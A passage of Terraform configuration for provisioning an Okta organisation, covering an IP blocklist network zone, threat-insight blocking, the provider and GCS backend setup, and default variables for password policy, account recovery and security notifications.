["98.24.172.148-98.24.172.148"] 14 | } 15 | 16 | resource "okta_network_zone" "blockedips" { 17 | name = "BlockedIpZone" 18 | type = "IP" 19 | usage = "BLOCKLIST" 20 | gateways = ["2.58.56.101-2.58.56.101", "23.128.248.39-23.128.248.39"] 21 | } 22 | 23 | resource "okta_threat_insight_settings" "blocked_ip" { 24 | action = "block" 25 | network_excludes = [okta_network_zone.ip_network_zone_blocked.id] 26 | } 27 | 28 | output "BlockedIpZone" { 29 | value = data.okta_network_zone.BlockedIpZoneDefault.id 30 | } -------------------------------------------------------------------------------- /okta/okta-terraform-provisioning/provider.tf: -------------------------------------------------------------------------------- 1 | terraform { 2 | required_providers { 3 | okta = { 4 | source = "okta/okta" 5 | version = "~> 3.44" 6 | } 7 | } 8 | backend "gcs" { 9 | bucket = "luna-terraform-backend" 10 | prefix = "luna-okta-provisioning" 11 | } 12 | } 13 | 14 | # Configure the Okta Provider 15 | provider "okta" { 16 | org_name = var.org_name 17 | base_url = var.base_url 18 | api_token = var.api_token 19 | } -------------------------------------------------------------------------------- /okta/okta-terraform-provisioning/variables.tf: -------------------------------------------------------------------------------- 1 | variable "api_token" {} 2 | 3 | variable "org_name" {} 4 | 5 | variable "base_url" {} 6 | 7 | variable "password_minimum_length" { 8 | default = 15 9 | } 10 | 11 | variable "password_min_lowercase" { 12 | default = 1 13 | } 14 | 15 | variable "password_min_number" { 16 | default = 1 17 | } 18 | 19 | variable "password_min_symbol" { 20 | default = 1 21 | } 22 | 23 | variable "password_min_age_minutes" { 24 | default = 60 25 | } 26 | 27 | variable "password_exclude_username" { 28 | default = true 29 | } 30 | 31 | variable "password_exclude_first_name" { 32 | default = true 33 | } 34 | 35 | variable "password_exclude_last_name" { 36 | default = true 37 | } 38 | 39 | variable "password_dictionary_lookup" { 40 | default = true 41 | } 42 | 43 | variable "password_max_age_days" { 44 | default = 90 45 | } 46 | 47 | variable "password_expire_warn_days" { 48 | default = 15 49 | } 50 | 51 | variable "password_history_count" { 52 | default = 24 53 | } 54 | 55 | variable "password_max_lockout_attempts" { 56 | default = 5 57 | } 58 | 59 | variable "password_auto_unlock_minutes" { 60 | default = 30 61 | } 62 | 63 | variable "password_show_lockout_failures" { 64 | default = true 65 | } 66 | 67 | variable "email_recovery" { 68 | default = "ACTIVE" 69 | } 70 | 71 | variable "sms_recovery" { 72 | default = "ACTIVE" 73 | } 74 | 75 | variable "question_recovery" { 76 | default = "ACTIVE" 77 | } 78 | 79 | variable "report_suspicious_activity_enabled" { 80 | default = true 81 | } 82 | 83 | variable "send_email_for_factor_enrollment_enabled" { 84 | default = true 85 | } 86 | 87 | variable "send_email_for_factor_reset_enabled" { 88 | default = true 89 | } 90 | 91 | variable "send_email_for_new_device_enabled" { 92 | default = true 93 | } 94 | 95 | variable "send_email_for_password_changed_enabled" { 96 | default = true 97 | } --------------------------------------------------------------------------------